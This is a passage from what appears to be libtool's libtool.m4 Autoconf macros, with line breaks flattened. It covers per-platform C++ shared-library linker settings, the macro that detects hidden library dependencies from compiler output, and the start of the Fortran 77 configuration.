$libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' ;; esac _LT_TAGVAR(archive_cmds_need_lc, $1)=no _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive$convenience ${wl}--no-whole-archive' ;; pgCC* | pgcpp*) # Portland Group C++ compiler case `$CC -V` in *pgCC\ [[1-5]]* | *pgcpp\ [[1-5]]*) _LT_TAGVAR(prelink_cmds, $1)='tpldir=Template.dir~ rm -rf $tpldir~ $CC --prelink_objects --instantiation_dir $tpldir $objs $libobjs $compile_deplibs~ compile_command="$compile_command `find $tpldir -name \*.o | $NL2SP`"' _LT_TAGVAR(old_archive_cmds, $1)='tpldir=Template.dir~ rm -rf $tpldir~ $CC --prelink_objects --instantiation_dir $tpldir $oldobjs$old_deplibs~ $AR $AR_FLAGS $oldlib$oldobjs$old_deplibs `find $tpldir -name \*.o | $NL2SP`~ $RANLIB $oldlib' _LT_TAGVAR(archive_cmds, $1)='tpldir=Template.dir~ rm -rf $tpldir~ $CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~ $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='tpldir=Template.dir~ rm -rf $tpldir~ $CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~ $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib' ;; *) # Version 6 will use weak symbols _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib' ;; esac _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath ${wl}$libdir' _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}--no-whole-archive' ;; cxx*) # Compaq C++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib ${wl}-retain-symbols-file $wl$export_symbols' runpath_var=LD_RUN_PATH _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: # Commands to make compiler produce verbose output that lists # what "hidden" libraries, object files and flags are used when # linking a shared library. # # There doesn't appear to be a way to prevent this compiler from # explicitly linking system object files so we need to strip them # from the output so that they don't get included in the library # dependencies. output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "ld"`; templist=`$ECHO "X$templist" | $Xsed -e "s/\(^.*ld.*\)\( .*ld .*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; $ECHO "X$list" | $Xsed' ;; xl*) # IBM XL 8.0 on PPC, with GNU ld _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' _LT_TAGVAR(archive_cmds, $1)='$CC -qmkshrobj $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' if test "x$supports_anon_versioning" = xyes; then _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $output_objdir/$libname.ver~ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ echo "local: *; };" >> $output_objdir/$libname.ver~ $CC -qmkshrobj $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib' fi ;; *) case `$CC -V 2>&1 | sed 5q` in *Sun\ C*) # Sun C++ 5.9 _LT_TAGVAR(no_undefined_flag, $1)=' -zdefs' _LT_TAGVAR(archive_cmds, $1)='$CC -G${allow_undefined_flag} -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -G${allow_undefined_flag} -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-retain-symbols-file ${wl}$export_symbols' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`new_convenience=; for conv in $convenience\"\"; do test -z \"$conv\" || new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}--no-whole-archive' _LT_TAGVAR(compiler_needs_object, $1)=yes # Not sure whether something based on # $CC $CFLAGS -v conftest.$objext -o libconftest$shared_ext 2>&1 # would be better. output_verbose_link_cmd='echo' # Archives containing C++ object files must be created using # "CC -xar", where "CC" is the Sun C++ compiler. This is # necessary to make sure instantiated templates are included # in the archive. _LT_TAGVAR(old_archive_cmds, $1)='$CC -xar -o $oldlib $oldobjs' ;; esac ;; esac ;; lynxos*) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; m88k*) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; mvs*) case $cc_basename in cxx*) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; *) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; esac ;; netbsd*) if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $predep_objects $libobjs $deplibs $postdep_objects $linker_flags' wlarc= _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_shlibpath_var, $1)=no fi # Workaround some broken pre-1.5 toolchains output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP conftest.$objext | $SED -e "s:-lgcc -lc -lgcc::"' ;; *nto* | *qnx*) _LT_TAGVAR(ld_shlibs, $1)=yes ;; openbsd2*) # C++ shared libraries are fairly broken _LT_TAGVAR(ld_shlibs, $1)=no ;; openbsd*) if test -f /usr/libexec/ld.so; then _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_shlibpath_var, $1)=no _LT_TAGVAR(hardcode_direct_absolute, $1)=yes _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-retain-symbols-file,$export_symbols -o $lib' _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' _LT_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' fi output_verbose_link_cmd=echo else _LT_TAGVAR(ld_shlibs, $1)=no fi ;; osf3* | osf4* | osf5*) case $cc_basename in KCC*) # Kuck and Associates, Inc. (KAI) C++ Compiler # KCC will only create a shared library if the output file # ends with ".so" (or ".sl" for HP-UX), so rename the library # to its proper name (with version) after linking. _LT_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo "$lib" | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: # Archives containing C++ object files must be created using # the KAI C++ compiler. case $host in osf3*) _LT_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs' ;; *) _LT_TAGVAR(old_archive_cmds, $1)='$CC -o $oldlib $oldobjs' ;; esac ;; RCC*) # Rational C++ 2.4.1 # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; cxx*) case $host in osf3*) _LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $soname `test -n "$verstring" && $ECHO "X${wl}-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' ;; *) _LT_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*' _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done~ echo "-hidden">> $lib.exp~ $CC -shared$allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname ${wl}-input ${wl}$lib.exp `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib~ $RM $lib.exp' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir' ;; esac _LT_TAGVAR(hardcode_libdir_separator, $1)=: # Commands to make compiler produce verbose output that lists # what "hidden" libraries, object files and flags are used when # linking a shared library. # # There doesn't appear to be a way to prevent this compiler from # explicitly linking system object files so we need to strip them # from the output so that they don't get included in the library # dependencies. output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "ld" | $GREP -v "ld:"`; templist=`$ECHO "X$templist" | $Xsed -e "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; $ECHO "X$list" | $Xsed' ;; *) if test "$GXX" = yes && test "$with_gnu_ld" = no; then _LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' case $host in osf3*) _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' ;; *) _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' ;; esac _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: # Commands to make compiler produce verbose output that lists # what "hidden" libraries, object files and flags are used when # linking a shared library. output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "\-L"' else # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no fi ;; esac ;; psos*) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; sunos4*) case $cc_basename in CC*) # Sun C++ 4.x # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; lcc*) # Lucid # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; *) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; esac ;; solaris*) case $cc_basename in CC*) # Sun C++ 4.2, 5.x and Centerline C++ _LT_TAGVAR(archive_cmds_need_lc,$1)=yes _LT_TAGVAR(no_undefined_flag, $1)=' -zdefs' _LT_TAGVAR(archive_cmds, $1)='$CC -G${allow_undefined_flag} -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ $CC -G${allow_undefined_flag} ${wl}-M ${wl}$lib.exp -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' _LT_TAGVAR(hardcode_shlibpath_var, $1)=no case $host_os in solaris2.[[0-5]] | solaris2.[[0-5]].*) ;; *) # The compiler driver will combine and reorder linker options, # but understands `-z linker_flag'. # Supported since Solaris 2.6 (maybe 2.5.1?) _LT_TAGVAR(whole_archive_flag_spec, $1)='-z allextract$convenience -z defaultextract' ;; esac _LT_TAGVAR(link_all_deplibs, $1)=yes output_verbose_link_cmd='echo' # Archives containing C++ object files must be created using # "CC -xar", where "CC" is the Sun C++ compiler. This is # necessary to make sure instantiated templates are included # in the archive. _LT_TAGVAR(old_archive_cmds, $1)='$CC -xar -o $oldlib $oldobjs' ;; gcx*) # Green Hills C++ Compiler _LT_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' # The C++ compiler must be used to create the archive. _LT_TAGVAR(old_archive_cmds, $1)='$CC $LDFLAGS -archive -o $oldlib $oldobjs' ;; *) # GNU C++ compiler with Solaris linker if test "$GXX" = yes && test "$with_gnu_ld" = no; then _LT_TAGVAR(no_undefined_flag, $1)=' ${wl}-z ${wl}defs' if $CC --version | $GREP -v '^2\.7' > /dev/null; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp' # Commands to make compiler produce verbose output that lists # what "hidden" libraries, object files and flags are used when # linking a shared library. output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "\-L"' else # g++ 2.7 appears to require `-G' NOT `-shared' on this # platform. _LT_TAGVAR(archive_cmds, $1)='$CC -G -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ $CC -G -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp' # Commands to make compiler produce verbose output that lists # what "hidden" libraries, object files and flags are used when # linking a shared library. output_verbose_link_cmd='$CC -G $CFLAGS -v conftest.$objext 2>&1 | $GREP "\-L"' fi _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $wl$libdir' case $host_os in solaris2.[[0-5]] | solaris2.[[0-5]].*) ;; *) _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}-z ${wl}allextract$convenience ${wl}-z ${wl}defaultextract' ;; esac fi ;; esac ;; sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[[01]].[[10]]* | unixware7* | sco3.2v5.0.[[024]]*) _LT_TAGVAR(no_undefined_flag, $1)='${wl}-z,text' _LT_TAGVAR(archive_cmds_need_lc, $1)=no _LT_TAGVAR(hardcode_shlibpath_var, $1)=no runpath_var='LD_RUN_PATH' case $cc_basename in CC*) _LT_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' ;; *) _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' ;; esac ;; sysv5* | sco3.2v5* | sco5v6*) # Note: We can NOT use -z defs as we might desire, because we do not # link with -lc, and that would cause any symbols used from libc to # always be unresolved, which means just about no library would # ever link correctly. If we're not using GNU ld we use -z text # though, which does catch some bad symbols but isn't as heavy-handed # as -z defs. _LT_TAGVAR(no_undefined_flag, $1)='${wl}-z,text' _LT_TAGVAR(allow_undefined_flag, $1)='${wl}-z,nodefs' _LT_TAGVAR(archive_cmds_need_lc, $1)=no _LT_TAGVAR(hardcode_shlibpath_var, $1)=no _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R,$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=':' _LT_TAGVAR(link_all_deplibs, $1)=yes _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-Bexport' runpath_var='LD_RUN_PATH' case $cc_basename in CC*) _LT_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' ;; *) _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' ;; esac ;; tandem*) case $cc_basename in NCC*) # NonStop-UX NCC 3.20 # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; *) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; esac ;; vxworks*) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; *) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; esac AC_MSG_RESULT([$_LT_TAGVAR(ld_shlibs, $1)]) test "$_LT_TAGVAR(ld_shlibs, $1)" = no && can_build_shared=no _LT_TAGVAR(GCC, $1)="$GXX" _LT_TAGVAR(LD, $1)="$LD" ## CAVEAT EMPTOR: ## There is no encapsulation within the following macros, do not change ## the running order or otherwise move them around unless you know exactly ## what you are doing... _LT_SYS_HIDDEN_LIBDEPS($1) _LT_COMPILER_PIC($1) _LT_COMPILER_C_O($1) _LT_COMPILER_FILE_LOCKS($1) _LT_LINKER_SHLIBS($1) _LT_SYS_DYNAMIC_LINKER($1) _LT_LINKER_HARDCODE_LIBPATH($1) _LT_CONFIG($1) fi # test -n "$compiler" CC=$lt_save_CC LDCXX=$LD LD=$lt_save_LD GCC=$lt_save_GCC with_gnu_ld=$lt_save_with_gnu_ld lt_cv_path_LDCXX=$lt_cv_path_LD lt_cv_path_LD=$lt_save_path_LD lt_cv_prog_gnu_ldcxx=$lt_cv_prog_gnu_ld lt_cv_prog_gnu_ld=$lt_save_with_gnu_ld fi # test "$_lt_caught_CXX_error" != yes AC_LANG_POP ])# _LT_LANG_CXX_CONFIG # _LT_SYS_HIDDEN_LIBDEPS([TAGNAME]) # --------------------------------- # Figure out "hidden" library dependencies from verbose # compiler output when linking a shared library. # Parse the compiler output and extract the necessary # objects, libraries and library flags. m4_defun([_LT_SYS_HIDDEN_LIBDEPS], [m4_require([_LT_FILEUTILS_DEFAULTS])dnl # Dependencies to place before and after the object being linked: _LT_TAGVAR(predep_objects, $1)= _LT_TAGVAR(postdep_objects, $1)= _LT_TAGVAR(predeps, $1)= _LT_TAGVAR(postdeps, $1)= _LT_TAGVAR(compiler_lib_search_path, $1)= dnl we can't use the lt_simple_compile_test_code here, dnl because it contains code intended for an executable, dnl not a library. It's possible we should let each dnl tag define a new lt_????_link_test_code variable, dnl but it's only used here... m4_if([$1], [], [cat > conftest.$ac_ext <<_LT_EOF int a; void foo (void) { a = 0; } _LT_EOF ], [$1], [CXX], [cat > conftest.$ac_ext <<_LT_EOF class Foo { public: Foo (void) { a = 0; } private: int a; }; _LT_EOF ], [$1], [F77], [cat > conftest.$ac_ext <<_LT_EOF subroutine foo implicit none integer*4 a a=0 return end _LT_EOF ], [$1], [FC], [cat > conftest.$ac_ext <<_LT_EOF subroutine foo implicit none integer a a=0 return end _LT_EOF ], [$1], [GCJ], [cat > conftest.$ac_ext <<_LT_EOF public class foo { private int a; public void bar (void) { a = 0; } }; _LT_EOF ]) dnl Parse the compiler output and extract the necessary dnl objects, libraries and library flags. if AC_TRY_EVAL(ac_compile); then # Parse the compiler output and extract the necessary # objects, libraries and library flags. # Sentinel used to keep track of whether or not we are before # the conftest object file. pre_test_object_deps_done=no for p in `eval "$output_verbose_link_cmd"`; do case $p in -L* | -R* | -l*) # Some compilers place space between "-{L,R}" and the path. # Remove the space. if test $p = "-L" || test $p = "-R"; then prev=$p continue else prev= fi if test "$pre_test_object_deps_done" = no; then case $p in -L* | -R*) # Internal compiler library paths should come after those # provided the user. The postdeps already come after the # user supplied libs so there is no need to process them. if test -z "$_LT_TAGVAR(compiler_lib_search_path, $1)"; then _LT_TAGVAR(compiler_lib_search_path, $1)="${prev}${p}" else _LT_TAGVAR(compiler_lib_search_path, $1)="${_LT_TAGVAR(compiler_lib_search_path, $1)} ${prev}${p}" fi ;; # The "-l" case would never come before the object being # linked, so don't bother handling this case. esac else if test -z "$_LT_TAGVAR(postdeps, $1)"; then _LT_TAGVAR(postdeps, $1)="${prev}${p}" else _LT_TAGVAR(postdeps, $1)="${_LT_TAGVAR(postdeps, $1)} ${prev}${p}" fi fi ;; *.$objext) # This assumes that the test object file only shows up # once in the compiler output. if test "$p" = "conftest.$objext"; then pre_test_object_deps_done=yes continue fi if test "$pre_test_object_deps_done" = no; then if test -z "$_LT_TAGVAR(predep_objects, $1)"; then _LT_TAGVAR(predep_objects, $1)="$p" else _LT_TAGVAR(predep_objects, $1)="$_LT_TAGVAR(predep_objects, $1) $p" fi else if test -z "$_LT_TAGVAR(postdep_objects, $1)"; then _LT_TAGVAR(postdep_objects, $1)="$p" else _LT_TAGVAR(postdep_objects, $1)="$_LT_TAGVAR(postdep_objects, $1) $p" fi fi ;; *) ;; # Ignore the rest. esac done # Clean up. rm -f a.out a.exe else echo "libtool.m4: error: problem compiling $1 test program" fi $RM -f confest.$objext # PORTME: override above test on systems where it is broken m4_if([$1], [CXX], [case $host_os in interix[[3-9]]*) # Interix 3.5 installs completely hosed .la files for C++, so rather than # hack all around it, let's just trust "g++" to DTRT. _LT_TAGVAR(predep_objects,$1)= _LT_TAGVAR(postdep_objects,$1)= _LT_TAGVAR(postdeps,$1)= ;; linux*) case `$CC -V 2>&1 | sed 5q` in *Sun\ C*) # Sun C++ 5.9 # The more standards-conforming stlport4 library is # incompatible with the Cstd library. Avoid specifying # it if it's in CXXFLAGS. Ignore libCrun as # -library=stlport4 depends on it. case " $CXX $CXXFLAGS " in *" -library=stlport4 "*) solaris_use_stlport4=yes ;; esac if test "$solaris_use_stlport4" != yes; then _LT_TAGVAR(postdeps,$1)='-library=Cstd -library=Crun' fi ;; esac ;; solaris*) case $cc_basename in CC*) # The more standards-conforming stlport4 library is # incompatible with the Cstd library. Avoid specifying # it if it's in CXXFLAGS. Ignore libCrun as # -library=stlport4 depends on it. case " $CXX $CXXFLAGS " in *" -library=stlport4 "*) solaris_use_stlport4=yes ;; esac # Adding this requires a known-good setup of shared libraries for # Sun compiler versions before 5.6, else PIC objects from an old # archive will be linked into the output, leading to subtle bugs. if test "$solaris_use_stlport4" != yes; then _LT_TAGVAR(postdeps,$1)='-library=Cstd -library=Crun' fi ;; esac ;; esac ]) case " $_LT_TAGVAR(postdeps, $1) " in *" -lc "*) _LT_TAGVAR(archive_cmds_need_lc, $1)=no ;; esac _LT_TAGVAR(compiler_lib_search_dirs, $1)= if test -n "${_LT_TAGVAR(compiler_lib_search_path, $1)}"; then _LT_TAGVAR(compiler_lib_search_dirs, $1)=`echo " ${_LT_TAGVAR(compiler_lib_search_path, $1)}" | ${SED} -e 's! -L! !g' -e 's!^ !!'` fi _LT_TAGDECL([], [compiler_lib_search_dirs], [1], [The directories searched by this compiler when creating a shared library]) _LT_TAGDECL([], [predep_objects], [1], [Dependencies to place before and after the objects being linked to create a shared library]) _LT_TAGDECL([], [postdep_objects], [1]) _LT_TAGDECL([], [predeps], [1]) _LT_TAGDECL([], [postdeps], [1]) _LT_TAGDECL([], [compiler_lib_search_path], [1], [The library search path used internally by the compiler when linking a shared library]) ])# _LT_SYS_HIDDEN_LIBDEPS # _LT_PROG_F77 # ------------ # Since AC_PROG_F77 is broken, in that it returns the empty string # if there is no fortran compiler, we have our own version here. m4_defun([_LT_PROG_F77], [ pushdef([AC_MSG_ERROR], [_lt_disable_F77=yes]) AC_PROG_F77 if test -z "$F77" || test "X$F77" = "Xno"; then _lt_disable_F77=yes fi popdef([AC_MSG_ERROR]) ])# _LT_PROG_F77 dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([_LT_PROG_F77], []) # _LT_LANG_F77_CONFIG([TAG]) # -------------------------- # Ensure that the configuration variables for a Fortran 77 compiler are # suitably defined. These variables are subsequently used by _LT_CONFIG # to write the compiler configuration to `libtool'. m4_defun([_LT_LANG_F77_CONFIG], [AC_REQUIRE([_LT_PROG_F77])dnl AC_LANG_PUSH(Fortran 77) _LT_TAGVAR(archive_cmds_need_lc, $1)=no _LT_TAGVAR(allow_undefined_flag, $1)= _LT_TAGVAR(always_export_symbols, $1)=no _LT_TAGVAR(archive_expsym_cmds, $1)= _LT_TAGVAR(export_dynamic_flag_spec, $1)= _LT_TAGVAR(hardcode_direct, $1)=no _LT_TAGVAR(hardcode_direct_absolute, $1)=no _LT_TAGVAR(hardcode_libdir_flag_spec, $1)= _LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)= _LT_TAGVAR(hardcode_libdir_separator, $1)= _LT_TAGVAR(hardcode_minus_L, $1)=no _LT_TAGVAR(hardcode_automatic, $1)=no _LT_TAGVAR(inherit_rpath, $1)=no _LT_TAGVAR(module_cmds, $1)= _LT_TAGVAR(module_expsym_cmds, $1)= _LT_TAGVAR(link_all_deplibs, $1)=unknown _LT_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds _LT_TAGVAR(no_undefined_flag, $1)= _LT_TAGVAR(whole_archive_flag_spec, $1)= _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=no # Source file extension for f77 test sources. ac_ext=f # Object file extension for compiled f77 test sources. objext=o _LT_TAGVAR(objext, $1)=$objext # No sense in running all these tests if we already determined that # the F77 compiler isn't working. Some variables (like enable_shared) # are currently assumed to apply to all compilers on this platform, # and will be corrupted by setting them based on a non-working compiler. if test "$_lt_disable_F77" != yes; then # Code to be used in simple compile tests lt_simple_compile_test_code="\ subroutine t return end " # Code to be used in simple link tests lt_simple_link_test_code="\ program t end " # ltmain only uses $CC for tagged configurations so make sure $CC is set. _LT_TAG_COMPILER # save warnings/boilerplate of simple test code _LT_COMPILER_BOILERPLATE _LT_LINKER_BOILERPLATE # Allow CC to be a program name with arguments. lt_save_CC="$CC" lt_save_GCC=$GCC CC=${F77-"f77"} compiler=$CC _LT_TAGVAR(compiler, $1)=$CC _LT_CC_BASENAME([$compiler]) GCC=$G77 if test -n "$compiler"; then AC_MSG_CHECKING([if libtool supports shared libraries]) AC_MSG_RESULT([$can_build_shared]) AC_MSG_CHECKING([whether to build shared libraries]) test "$can_build_shared" = "no" && enable_shared=no # On AIX, shared libraries and static libraries use the same namespace, and # are all built from PIC. case $host_os in aix3*) test "$enable_shared" = yes && enable_static=no if test -n "$RANLIB"; then archive_cmds="$archive_cmds~\$RANLIB \$lib" postinstall_cmds='$RANLIB $lib' fi ;; aix[[4-9]]*) if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then test "$enable_shared" = yes && enable_static=no fi ;; esac AC_MSG_RESULT([$enable_shared]) AC_MSG_CHECKING([whether to build static 